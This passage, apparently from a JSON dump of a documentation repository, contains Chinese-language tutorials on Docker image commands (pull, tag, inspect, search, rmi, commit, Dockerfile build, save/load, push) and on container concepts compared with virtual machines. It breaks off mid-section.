是否获取仓库中所有镜像，默认为否；\n2. `--disable-content-trust`: 跳过镜像内容的校验，默认为 true;\n\n## 二 Docker 查看镜像信息\n\n### 2.1 images 命令列出镜像\n\n通过使用如下两个命令，列出本机已有的镜像：\n\n```\ndocker images\n```\n\n或：\n\n```\ndocker image ls\n```\n\n如下图所示：\n\n![Docker 查看镜像信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPo7bVaeYBiajiaZdfIN4J4D10WJ04W2zicZouiceKlDUbbte216HpCgErmQ/?wx_fmt=jpeg)\n\n对上述红色标注的字段做一下解释：\n\n- **REPOSITORY**: 来自于哪个仓库；\n- **TAG**: 镜像的标签信息，比如 5.7、latest 表示不同的版本信息；\n- **IMAGE ID**: 镜像的 ID, 如果您看到两个 ID 完全相同，那么实际上，它们指向的是同一个镜像，只是标签名称不同罢了；\n- **CREATED**: 镜像最后的更新时间；\n- **SIZE**: 镜像的大小，优秀的镜像一般体积都比较小，这也是我更倾向于使用轻量级的 alpine 版本的原因；\n\n> 注意：图中的镜像大小信息只是逻辑上的大小信息，因为一个镜像是由多个镜像层（ `layer`）组成的，而相同的镜像层本地只会存储一份，所以，真实情况下，占用的物理存储空间大小，可能会小于逻辑大小。\n\n### 2.2 使用 tag 命令为镜像添加标签\n\n通常情况下，为了方便在后续工作中，快速地找到某个镜像，我们可以使用 `docker tag` 命令，为本地镜像添加一个新的标签。如下图所示：\n\n![Docker tag 添加标签](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPD2huWAicJUMBNZhf56OHXa0KjiaF2XcUvxyMm3mssibKvKa5UayFcD1WQ/?wx_fmt=jpeg)\n\n为 `docker.io/mysql` 镜像，添加新的镜像标签 `allen_mysql:5.7`。然后使用 `docker images` 命令，查看本地镜像：\n\n![Docker tag 添加标签](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPCDq6MvlhsiawBwhNn7OEwJassCnwjibP4gWwqAvG3xow9LwFf2ticUsdg/?wx_fmt=jpeg)\n\n可以看到，本地多了一个 `allen_mysql:5.7` 的镜像。细心的你一定还会发现， `allen_mysql:5.7` 和 `docker.io/mysql:5.7` 的镜像 ID 是一模一样的，说明它们是同一个镜像，只是别名不同而已。\n\n`docker tag` 命令功能更像是, 为指定镜像添加快捷方式一样。\n\n### 2.3 使用 inspect 命令查看镜像详细信息\n\n通过 `docker inspect` 命令，我们可以获取镜像的详细信息，其中，包括创建者，各层的数字摘要等。\n\n```\ndocker inspect docker.io/mysql:5.7\n```\n\n![Docker inspect 查看镜像详细信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPzL9a3cEkXSh4uuSSwia4pibNjT4dDV7t1AgFuJkrBAq3CkU2WWorEFdg/?wx_fmt=jpeg)\n\n`docker inspect` 返回的是 `JSON` 格式的信息，如果您想获取其中指定的一项内容，可以通过 `-f` 来指定，如获取镜像大小：\n\n```\ndocker inspect -f {{\".Size\"}} docker.io/mysql:5.7\n```\n\n![Docker inspect 查看镜像详细信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPsa7t1OSDhWgFxEzCdfyNaOduGmsz7xJEobUZFibzw5UFxmKvrcmwGNA/?wx_fmt=jpeg)\n\n### 2.4 使用 history 命令查看镜像历史\n\n前面的小节中，我们知道了，一个镜像是由多个层（layer）组成的，那么，我们要如何知道各个层的具体内容呢？\n\n通过 `docker history` 命令，可以列出各个层（layer）的创建信息，如我们查看 `docker.io/mysql:5.7` 的各层信息：\n\n```\ndocker history docker.io/mysql:5.7\n```\n\n![Docker history 各层信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPQ8F21nmOQ7RLI5ibAgVpcOkBlIRR2kH4B0VlDExiauskHbE0w0HYeE0w/?wx_fmt=jpeg)\n\n可以看到，上面过长的信息，为了方便展示，后面都省略了，如果您想要看具体信息，可以通过添加 `--no-trunc` 选项，如下面命令：\n\n```\ndocker history --no-trunc docker.io/mysql:5.7\n```\n\n## 三 Docker 搜索镜像\n\n### 3.1 search 命令\n\n您可以通过下面命令进行搜索：\n\n```\ndocker search [option] keyword\n```\n\n比如，您想搜索仓库中 `mysql` 相关的镜像，可以输入如下命令：\n\n```\ndocker search mysql\n```\n\n![Docker 搜索镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTP3PBGU7q2NoK6WGSRmcxWs0OMicjeDwTBFvOAbXB5MuaDFPYXAod3NZA/?wx_fmt=jpeg)\n\n### 3.2 search 子命令\n\n命令行输入 `docker search--help`, 输出如下：\n\n```\nUsage:  docker search [OPTIONS] TERM\nSearch the Docker Hub for images\nOptions:  -f, --filter filter   Filter output based on conditions provided      --help            Print usage      --limit int       Max number of search results (default 25)      --no-index        Don't truncate output      --no-trunc        Don't truncate output\n```\n\n可以看到 `search` 支持的子命令有：\n\n- `-f,--filter filter`: 过滤输出的内容；\n- `--limitint`：指定搜索内容展示个数;\n- `--no-index`: 不截断输出内容；\n- `--no-trunc`：不截断输出内容；\n\n举个列子，比如我们想搜索官方提供的 mysql 镜像，命令如下：\n\n```\ndocker search --filter=is-offical=true mysql\n```\n\n![Docker 搜索官方镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPup8t50skwCOEX0pwnR9uicvWZWNxc7Vv4slXzIoGLhSPcwDq51xpUGA/?wx_fmt=jpeg)\n\n再比如，我们想搜索 Stars 数超过 100 的 mysql 镜像：\n\n```\ndocker search --filter=stars=100 mysql\n```\n\n![Docker 搜索镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLHC3QNcSiaib3u3EM014CpBTPsbeMVBSiaLLINzVmkbG3VtIbr3XJnVbIqWKvS016Yib3WQQmraqlENGA/?wx_fmt=jpeg)\n\n## 四 Docker 删除镜像\n\n### 4.1 通过标签删除镜像\n\n通过如下两个都可以删除镜像：\n\n```\ndocker rmi [image]\n```\n\n或者：\n\n```\ndocker image rm [image]\n```\n\n支持的子命令如下：\n\n- `-f,-force`: 强制删除镜像，即便有容器引用该镜像；\n- `-no-prune`: 不要删除未带标签的父镜像；\n\n![Docker 查看镜像信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHjMP3NiaSibZZ0XKTiasurB1giae3nfZvWZibRal7TKfiaAhJicXQfibicqCo5Kw/?wx_fmt=jpeg)Docker 查看镜像信息\n\n例如，我们想删除上章节创建的 `allen_mysql:5.7` 镜像，命令如下：\n\n```shell\ndocker rmi allen_mysql:5.7\n```\n\n![Docker 删除镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHfh5oDc3GDzlp7B5oaVRic7hHIzvRicDz1wCbgIBrQvMXK8jYo3yPOl5Q/?wx_fmt=jpeg)\n\n从上面章节中，我们知道 `allen_mysql:5.7` 和 `docker.io/mysql:5.7` 实际上指向的是同一个镜像，那么，您可以能会有疑问，我删除了 `allen_mysql:5.7`, 会不会将 `docker.io/mysql:5.7` 镜像也给删除了？\n\n**实际上，当同一个镜像拥有多个标签时，执行 `docker rmi` 命令，只是会删除了该镜像众多标签中，您指定的标签而已，并不会影响原始的那个镜像文件。**\n\n不信的话，我们可以执行 `docker images` 命令，来看下 `docker.io/mysql:5.7` 镜像还在不在：\n\n![Docker 查看镜像信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHiciaqjoLKZiaoVZFeLJkfA2TfUKaib2muSNrTJP2Rvicib4ac3gMXPiaBkB9Q/?wx_fmt=jpeg)\n\n可以看到， `docker.io/mysql:5.7` 镜像依然存在！\n\n那么，如果某个镜像不存在多个标签，当且仅当只有一个标签时，执行删除命令时，您就要小心了，这会彻底删除镜像。\n\n例如，这个时候，我们再执行 `docker rmi docker.io/mysql:5.7` 命令：\n\n![Docker 删除镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHAjqtv8JHovzTCdfIM5fIT5Nia3iaI7wKLo13vQgsWibRR9Y2Fd73V9czg/?wx_fmt=jpeg)\n\n从上图可以看到，我们已经删除了 `docker.io/mysql:5.7` 镜像的所有文件层。该镜像在本地已不复存在了！\n\n### 4.2 通过 ID 删除镜像\n\n除了通过标签名称来删除镜像，我们还可以通过制定镜像 ID, 来删除镜像，如：\n\n```\ndocker rmi ee7cbd482336\n```\n\n一旦制定了通过 ID 来删除镜像，它会先尝试删除所有指向该镜像的标签，然后在删除镜像本身。\n\n### 4.3 删除镜像的限制\n\n删除镜像很简单，但也不是我们何时何地都能删除的，它存在一些限制条件。\n\n当通过该镜像创建的容器未被销毁时，镜像是无法被删除的。为了验证这一点，我们来做个试验。首先，我们通过 `docker pull alpine` 命令，拉取一个最新的 `alpine` 镜像, 然后启动镜像，让其输出 `hello,docker!`:\n\n![Docker run alpine](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHia157yicRQe5g5ad36peutDlAxuGcWbdxopEwmHXCM7rga80cYj0CguA/?wx_fmt=jpeg)\n\n接下来，我们来删除这个镜像试试：\n\n![Docker 删除镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHia5wTHrVKT1NPHFZvLicwMicKibG5VHVjEWJOXrPOG4pK5VDwAYMcAYzJg/?wx_fmt=jpeg)\n\n可以看到提示信息，无法删除该镜像，因为有容器正在引用他！同时，这段信息还告诉我们，除非通过添加 `-f` 子命令，也就是强制删除，才能移除掉该镜像！\n\n```\ndocker rmi -f docker.io/alpine\n```\n\n但是，我们一般不推荐这样暴力的做法，正确的做法应该是：\n\n1. 先删除引用这个镜像的容器；\n2. 再删除这个镜像；\n\n也就是，根据上图中提示的，引用该镜像的容器 ID ( `9d59e2278553`), 执行删除命令：\n\n```\ndocker rm 9d59e2278553\n```\n\n然后，再执行删除镜像的命令：\n\n```\ndocker rmi 5cb3aa00f899\n```\n\n![Docker 删除镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHWibytB1NGVzS1KBMia7sYMNm2eStNd4PicxoYA5CfQficMh4eoJMjtHiacA/?wx_fmt=jpeg)Docker 删除镜像\n\n这个时候，就能正常删除了！\n\n### 4.4 清理镜像\n\n我们在使用 Docker 一段时间后，系统一般都会残存一些临时的、没有被使用的镜像文件，可以通过以下命令进行清理：\n\n```\ndocker image prune\n```\n\n它支持的子命令有：\n\n- `-a,--all`: 删除所有没有用的镜像，而不仅仅是临时文件；\n- `-f,--force`：强制删除镜像文件，无需弹出提示确认；\n\n## 五 Docker 创建镜像\n\n此小节中，您将学习 Docker 如何创建镜像？Docker 创建镜像主要有三种：\n\n1. 基于已有的镜像创建；\n2. 基于 Dockerfile 来创建；\n3. 基于本地模板来导入；\n\n我们将主要介绍常用的 1，2 两种。\n\n### 5.1 基于已有的镜像创建\n\n通过如下命令来创建：\n\n```\ndocker container commit\n```\n\n支持的子命令如下：\n\n- `-a,--author`=\"\": 作者信息；\n- `-c,--change`=[]: 可以在提交的时候执行 Dockerfile 指令，如 CMD、ENTRYPOINT、ENV、EXPOSE、LABEL、ONBUILD、USER、VOLUME、WORIR 等；\n- `-m,--message`=\"\": 提交信息；\n- `-p,--pause`=true: 提交时，暂停容器运行。\n\n接下来，基于本地已有的 Ubuntu 镜像，创建一个新的镜像：\n\n![Docker 创建镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHMibkCiaNb1AbTNoQicVKkiaAOIhZO2FsRNbSY0kzqZezVGcfgOibJRD58QQ/?wx_fmt=jpeg)\n\n首先，让我将它运行起来，并在其中创建一个 test.txt 文件：\n\n![Docker 创建镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHQd7AuibW8ml35Tk90OO15s43CAHQtXx5kYzibP5vtNAwic95qibDza61BQ/?wx_fmt=jpeg)\n\n命令如下：\n\n```\ndocker run -it docker.io/ubuntu:latest /bin/bashroot@a0a0c8cfec3a:/# touch test.txtroot@a0a0c8cfec3a:/# exit\n```\n\n创建完 test.txt 文件后，需要记住标注的容器 ID: `a0a0c8cfec3a`, 用它来提交一个新的镜像(**PS: 你也可以通过名称来提交镜像，这里只演示通过 ID 的方式**)。\n\n执行命令：\n\n```\ndocker container commit -m \"Added test.txt file\" -a \"Allen\" a0a0c8cfec3a test:0.1\n```\n\n提交成功后，会返回新创建的镜像 ID 信息，如下图所示：\n\n![Docker 提交新创建的镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHgX5ks187yqupLWLQnvNuwLGibc6So1xk8OZc6SpXEVB5zDEo6WlxQhw/?wx_fmt=jpeg)\n\n再次查看本地镜像信息，可以看到新创建的 `test:0.1` 镜像了：\n\n![Docker 查看镜像信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHibWZE9BBMrgVAzDAbpWibEANicPohJErNVCQpAFMfvKExoLj2EQlIYQ2g/?wx_fmt=jpeg)\n\n### 5.2 基于 Dockerfile 创建\n\n通过 Dockerfile 的方式来创建镜像，是最常见的一种方式了，也是比较推荐的方式。Dockerfile 是一个文本指令文件，它描述了是如何基于一个父镜像，来创建一个新镜像的过程。\n\n下面让我们来编写一个简单的 Dockerfile 文件，它描述了基于 Ubuntu 父镜像，安装 Python3 环境的镜像：\n\n```\nFROM docker.io/ubuntu:latest\nLABEL version=\"1.0\" maintainer=\"Allen <weiwosuo@github>\"\nRUN apt-get update && \\    apt-get install -y python3 && \\    apt-get clean && \\    rm -rf /var/lib/apt/lists/*\n```\n\n创建完成后，通过这个 Dockerfile 文件，来构建新的镜像，执行命令：\n\n```\ndocker image build -t python:3 .\n```\n\n**注意：** 命令的最后有个点，如果不加的话，会构建不成功 ！\n\n![Docker 通过 Dockerfile 构建镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHk6rCexCL5PcQqMia6QzvOicMg754BKO3mOibQCfQ6MI7tR1JA2A5ZqI7A/?wx_fmt=jpeg)\n\n编译成功后，再次查看本地镜像信息，就可以看到新构建的 python:3 镜像了。\n\n![Docker 查看镜像信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHH0amjBEf1pRGNUS4SbzibupypIebmiarHLotk3s1n2PdaqUPibrEaSoTvQ/?wx_fmt=jpeg)\n\n## 六 Docker 导出&加载镜像\n\n此小节中，您将学习 Docker 如何导出&加载镜像。\n\n通常我们会有下面这种需求，需要将镜像分享给别人，这个时候，我们可以将镜像导出成 tar 包，别人直接通过加载这个 tar 包，快速地将镜像引入到本地镜像库。\n\n要想使用这两个功能，主要是通过如下两个命令：\n\n1. `docker save`\n2. `docker load`\n\n### 6.1 导出镜像\n\n查看本地镜像如下：\n\n![Docker 查看镜像信息](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHH0amjBEf1pRGNUS4SbzibupypIebmiarHLotk3s1n2PdaqUPibrEaSoTvQ/?wx_fmt=jpeg)\n\n例如，我们想要将 python:3 镜像导出来，执行命令：\n\n```\ndocker save -o python_3.tar python:3\n```\n\n执行成功后，查看当前目录：\n\n![Docker 导出文件](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHOzOhDgY43hbGSGena4g7YpYREdwD1pzWPanhic1pb0LmFrsNGKAYK8g/?wx_fmt=jpeg)Docker 导出文件\n\n可以看到 `python_3.tar` 镜像文件已经生成。接下来，你可以将它通过复制的方式，分享给别人了！\n\n### 6.2 加载镜像\n\n别人拿到了这个 `tar` 包后，要如何导入到本地的镜像库呢？\n\n通过执行如下命令：\n\n```\ndocker load -i python_3.tar\n```\n\n或者：\n\n```\ndocker load < python_3.tar\n```\n\n导入成功后，查看本地镜像信息，你就可以获得别人分享的镜像了！怎么样，是不是很方便呢！\n\n## 七 Docker 上传镜像\n\n我们将以上传到 Docker Hub 上为示例，演示 Docker 如何上传镜像。\n\n### 7.1 获取 Docker ID\n\n想要上传镜像到 Docker Hub 上，首先，我们需要注册 Docker Hub 账号。打开 Docker Hub 网址 https://hub.docker.com，开始注册：\n\n![Docker Hub 注册账号](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHH6JticENibsia3hkfDDuBq7PtOotic7rPK46wFdotM0LUYuyFZbOVUaJoeQ/?wx_fmt=jpeg)\n\n填写您的 Docker ID (也就是账号)，以及密码，Email, 点击继续。\n\n接下来，Docker Hub 会发送验证邮件，到您填写的邮箱当中：\n\n![Docker Hub 验证邮件](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHfedKcp34V4t351TqTfBiaRmwAbHmOnVadHydicp3MtLQnUykQYUV49FA/?wx_fmt=jpeg)\n\n点击验证即可，接下来，再次返回 Docker Hub 官网，用您刚刚注册的 Docker ID 和密码来登录账号！\n\n![Docker Hub 登录页面](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHa5I17YSce16BNFOgNayA0iaWYWGJnHWwZUjslrBRyV1jLssDKa7mysA/?wx_fmt=jpeg)\n\n### 7.2 创建镜像仓库\n\n登录成功后，会出现如下页面：\n\n![欢迎来到 Docker Hub](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHRI3SFiaSl2yuXXO1CLhRDR03mVpTO4jwmljIaZC0KptcW7kmM03Xxicg/?wx_fmt=jpeg)\n\n选择创建一个镜像仓库：\n\n![创建 Python 仓库](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHMsc31Uskib3SRM4uZZCqkYwyNJFN8ia4LkAKNZuurAbHJyQ1fib9DKGEw/?wx_fmt=jpeg)\n\n填写**仓库名称**、**描述信息**、**是否公开后**，点击创建。\n\n![仓库镜像展示页](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHH688icujdAHnPOcHEaATxupbOn4u7LSKEBKoDWb1dPISiaP757VBibdwGQ/?wx_fmt=jpeg)仓库镜像展示页\n\n我们看到，仓库已经创建成功了，但是里面还没有任何镜像，接下来开始上传镜像，到此新创建的仓库中。\n\n### 7.3 上传镜像\n\n进入命令行，**用我们刚刚获取的 Docker ID 以及密码登录**，执行命令：\n\n```\ndocker login\n```\n\n![命令行登录 Docker ID](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHsJNOaXDpy3C4vu3xPOQUA9XfYFiasZOs69PLOxpUSiaGvEicYib3WKm88Q/?wx_fmt=jpeg)命令行登录 Docker ID\n\n登录成功后，我们开始准备上传本地的 `python:3` 镜像：\n\n![python:3 镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHNNakMbCH4TFQTT0iad9Eb2vde8JzfgwIXFLpiaKzeMAYIa7ft22wBMEA/?wx_fmt=jpeg)\n\n首先，我们对其打一个新的标签，**前缀与我们新创建的 Docker ID 、仓库名保持一致**:\n\n```\ndocker tag python:3 weiwosuoai1991/python:3\n```\n\n![python:3 镜像打标签](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHSl8ria0e1kFFWlI1gAwwszV28IkztLv0s9XSZG6ficYIAoO1mfo4LrmQ/?wx_fmt=jpeg)\n\n查看本地信息，可以看到，标签打成功了。接下开，开始上传！执行命令：\n\n```\ndocker push weiwosuoai1991/python:3\n```\n\n![上传 python:3 镜像](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHHeiaV2FtSpv7ewkpyOLEo7e6No42GSbCLqfaxjUicnFhBEq7m4OyIR6GA/?wx_fmt=jpeg)\n\n上传成功！去 Docker Hub 官网，新创建的仓库的信息页面验证一下，是否真的成功了：\n\n![仓库镜像展示页](https://mmbiz.qpic.cn/mmbiz_jpg/knmrNHnmCLFSKI1RxMqyrVlVX4GRveHH5ibFBuhibrBn6Xe9tgxgO7LxtXI9FJ0HtLjvuibJhBqZPyexWY78MmBiag/?wx_fmt=jpeg)仓库镜像展示页\n\n大工告成！！！\n\n## 八 总结\n\n本文中，我们着重学习了 Docker 中下载镜像,、查看镜像信息、搜索镜像、删除镜像,、创建镜像、导出&加载镜像以及向 Docker Hub 上传镜像的相关操作。"
  },
  {
    "path": "docs/tools/Docker.md",
    "content": "**本文只是对Docker的概念做了较为详细的介绍，并不涉及一些像Docker环境的安装以及Docker的一些常见操作和命令。**\n\n<!-- TOC -->\n\n- [一 先从认识容器开始](#一-先从认识容器开始)\n    - [1.1 什么是容器?](#11-什么是容器)\n        - [先来看看容器较为官方的解释](#先来看看容器较为官方的解释)\n        - [再来看看容器较为通俗的解释](#再来看看容器较为通俗的解释)\n    - [1.2 图解物理机,虚拟机与容器](#12-图解物理机虚拟机与容器)\n- [二 再来谈谈 Docker 的一些概念](#二-再来谈谈-docker-的一些概念)\n    - [2.1 什么是 Docker?](#21-什么是-docker)\n    - [2.2 Docker 思想](#22-docker-思想)\n    - [2.3 Docker 容器的特点](#23-docker-容器的特点)\n    - [2.4 为什么要用 Docker ?](#24-为什么要用-docker-)\n- [三 容器 VS 虚拟机](#三-容器-vs-虚拟机)\n    - [3.1 两者对比图](#31-两者对比图)\n    - [3.2 容器与虚拟机总结](#32-容器与虚拟机总结)\n    - [3.3 容器与虚拟机两者是可以共存的](#33-容器与虚拟机两者是可以共存的)\n- [四 Docker基本概念](#四-docker基本概念)\n    - [4.1 镜像(Image):一个特殊的文件系统](#41-镜像image一个特殊的文件系统)\n    - [4.2 容器(Container):镜像运行时的实体](#42-容器container镜像运行时的实体)\n    - [4.3仓库(Repository):集中存放镜像文件的地方](#43仓库repository集中存放镜像文件的地方)\n- [五 最后谈谈:Build Ship and Run](#五-最后谈谈build-ship-and-run)\n- [六 总结](#六-总结)\n\n<!-- /TOC -->\n\n> **Docker 是世界领先的软件容器平台**，所以想要搞懂Docker的概念我们必须先从容器开始说起。\n\n## 一 先从认识容器开始\n\n### 1.1 什么是容器?\n\n#### 先来看看容器较为官方的解释\n\n**一句话概括容器：容器就是将软件打包成标准化单元，以用于开发、交付和部署。** \n\n- **容器镜像是轻量的、可执行的独立软件包** ，包含软件运行所需的所有内容：代码、运行时环境、系统工具、系统库和设置。\n- **容器化软件适用于基于Linux和Windows的应用，在任何环境中都能够始终如一地运行。**\n- **容器赋予了软件独立性**　，使其免受外在环境差异（例如，开发和预演环境的差异）的影响，从而有助于减少团队间在相同基础设施上运行不同软件时的冲突。\n\n#### 再来看看容器较为通俗的解释\n\n**如果需要通俗的描述容器的话，我觉得容器就是一个存放东西的地方，就像书包可以装各种文具、衣柜可以放各种衣服、鞋架可以放各种鞋子一样。我们现在所说的容器存放的东西可能更偏向于应用比如网站、程序甚至是系统环境。**\n\n![认识容器](https://user-gold-cdn.xitu.io/2018/6/17/1640cae21c18e404?w=445&h=363&f=png&s=81473)\n\n### 1.2 图解物理机,虚拟机与容器\n关于虚拟机与容器的对比在后面会详细介绍到，这里只是通过网上的图片加深大家对于物理机、虚拟机与容器这三者的理解。\n\n**物理机**\n![物理机](https://user-gold-cdn.xitu.io/2018/6/18/1641129f0ecdf8ff?w=720&h=353&f=jpeg&s=55729)\n\n**虚拟机：**\n\n![虚拟机](https://user-gold-cdn.xitu.io/2018/6/18/164112a72a917f4a?w=720&h=321&f=jpeg&s=43096)\n\n**容器：**\n\n![容器](https://user-gold-cdn.xitu.io/2018/6/18/164112ac76e6f693?w=720&h=302&f=jpeg&s=41669)\n\n通过上面这三张抽象图，我们可以大概可以通过类比概括出： **容器虚拟化的是操作系统而不是硬件，容器之间是共享同一套操作系统资源的。虚拟机技术是虚拟出一套硬件后，在其上运行一个完整操作系统。因此容器的隔离级别会稍低一些。**\n\n---\n\n> 相信通过上面的解释大家对于容器这个既陌生又熟悉的概念有了一个初步的认识，下面我们就来谈谈Docker的一些概念。\n\n## 二 再来谈谈 Docker 的一些概念\n\n![Docker的一些概念](https://user-gold-cdn.xitu.io/2018/6/18/16410734eb1ed373?w=1566&h=696&f=png&s=294564)\n\n### 2.1 什么是 Docker?\n\n说实话关于Docker是什么并太好说，下面我通过四点向你说明Docker到底是个什么东西。\n\n- **Docker 是世界领先的软件容器平台。** \n- **Docker** 使用 Google 公司推出的 **Go 语言**  进行开发实现，基于 **Linux 内核** 的cgroup，namespace，以及AUFS类的**UnionFS**等技术，**对进程进行封装隔离，属于操作系统层面的虚拟化技术。** 由于隔离的进程独立于宿主和其它的隔离的进\n程，因此也称其为容器。**Docke最初实现是基于 LXC.**\n- **Docker 能够自动执行重复性任务，例如搭建和配置开发环境，从而解放了开发人员以便他们专注在真正重要的事情上：构建杰出的软件。**\n- **用户可以方便地创建和使用容器，把自己的应用放入容器。容器还可以进行版本管理、复制、分享、修改，就像管理普通的代码一样。**\n\n![什么是Docker](https://user-gold-cdn.xitu.io/2018/6/18/16411c3946dda762?w=971&h=629&f=jpeg&s=56655)\n\n### 2.2 Docker 思想\n\n- **集装箱**\n- **标准化：** ①运输方式    ② 存储方式 ③ API接口\n- **隔离**\n\n### 2.3 Docker 容器的特点\n\n- #### 轻量\n\n  在一台机器上运行的多个 Docker 容器可以共享这台机器的操作系统内核；它们能够迅速启动，只需占用很少的计算和内存资源。镜像是通过文件系统层进行构造的，并共享一些公共文件。这样就能尽量降低磁盘用量，并能更快地下载镜像。\n- #### 标准\n\n  Docker 容器基于开放式标准，能够在所有主流 Linux 版本、Microsoft Windows 以及包括 VM、裸机服务器和云在内的任何基础设施上运行。\n- #### 安全\n\n  Docker 赋予应用的隔离性不仅限于彼此隔离，还独立于底层的基础设施。Docker 默认提供最强的隔离，因此应用出现问题，也只是单个容器的问题，而不会波及到整台机器。\n\n### 2.4 为什么要用 Docker ?\n\n- **Docker 的镜像提供了除内核外完整的运行时环境，确保了应用运行环境一致性，从而不会再出现 “这段代码在我机器上没问题啊” 这类问题；——一致的运行环境**\n- **可以做到秒级、甚至毫秒级的启动时间。大大的节约了开发、测试、部署的时间。——更快速的启动时间**\n- **避免公用的服务器，资源会容易受到其他用户的影响。——隔离性**\n- **善于处理集中爆发的服务器使用压力；——弹性伸缩，快速扩展**\n- **可以很轻易的将在一个平台上运行的应用，迁移到另一个平台上，而不用担心运行环境的变化导致应用无法正常运行的情况。——迁移方便**\n- **使用 Docker 可以通过定制应用镜像来实现持续集成、持续交付、部署。——持续交付和部署**\n\n--- \n\n> 每当说起容器，我们不得不将其与虚拟机做一个比较。就我而言，对于两者无所谓谁会取代谁，而是两者可以和谐共存。\n\n## 三 容器 VS 虚拟机\n\n　　简单来说： **容器和虚拟机具有相似的资源隔离和分配优势，但功能有所不同，因为容器虚拟化的是操作系统，而不是硬件，因此容器更容易移植，效率也更高。**\n\n### 3.1 两者对比图\n\n　　传统虚拟机技术是虚拟出一套硬件后，在其上运行一个完整操作系统，在该系统上再运行所需应用进程；而容器内的应用进程直接运行于宿主的内核，容器内没有自己的内核，而且也没有进行硬件虚拟。因此容器要比传统虚拟机更为轻便.\n\n![容器 VS 虚拟机](https://user-gold-cdn.xitu.io/2018/6/17/1640cb4abec9e902?w=1086&h=406&f=png&s=70264)\n\n### 3.2 容器与虚拟机总结\n\n![容器与虚拟机 (VM) 总结](https://user-gold-cdn.xitu.io/2018/6/18/16410aa3b89ae481?w=801&h=206&f=png&s=37241)\n\n- **容器是一个应用层抽象，用于将代码和依赖资源打包在一起。** **多个容器可以在同一台机器上运行，共享操作系统内核，但各自作为独立的进程在用户空间中运行** 。与虚拟机相比， **容器占用的空间较少**（容器镜像大小通常只有几十兆），**瞬间就能完成启动** 。\n\n- **虚拟机 (VM) 是一个物理硬件层抽象，用于将一台服务器变成多台服务器。** 管理程序允许多个 VM 在一台机器上运行。每个VM都包含一整套操作系统、一个或多个应用、必要的二进制文件和库资源，因此 **占用大量空间** 。而且 VM  **启动也十分缓慢** 。\n\n　　通过Docker官网，我们知道了这么多Docker的优势，但是大家也没有必要完全否定虚拟机技术，因为两者有不同的使用场景。**虚拟机更擅长于彻底隔离整个运行环境**。例如，云服务提供商通常采用虚拟机技术隔离不同的用户。而 **Docker通常用于隔离不同的应用** ，例如前端，后端以及数据库。\n\n### 3.3 容器与虚拟机两者是可以共存的\n\n就我而言，对于两者无所谓谁会取代谁，而是两者可以和谐共存。\n\n![两者是可以共存的](https://user-gold-cdn.xitu.io/2018/6/17/1640cca26fc38f9e)\n\n--- \n\n>  Docker中非常重要的三个基本概念，理解了这三个概念，就理解了 Docker 的整个生命周期。\n\n## 四 Docker基本概念\n\nDocker 包括三个基本概念\n\n- **镜像（Image）**\n- **容器（Container）**\n- **仓库（Repository）**\n\n理解了这三个概念，就理解了 Docker 的整个生命周期\n\n![Docker 包括三个基本概念](https://user-gold-cdn.xitu.io/2018/6/18/164109e4900357a9?w=1024&h=784&f=jpeg&s=127361)\n\n### 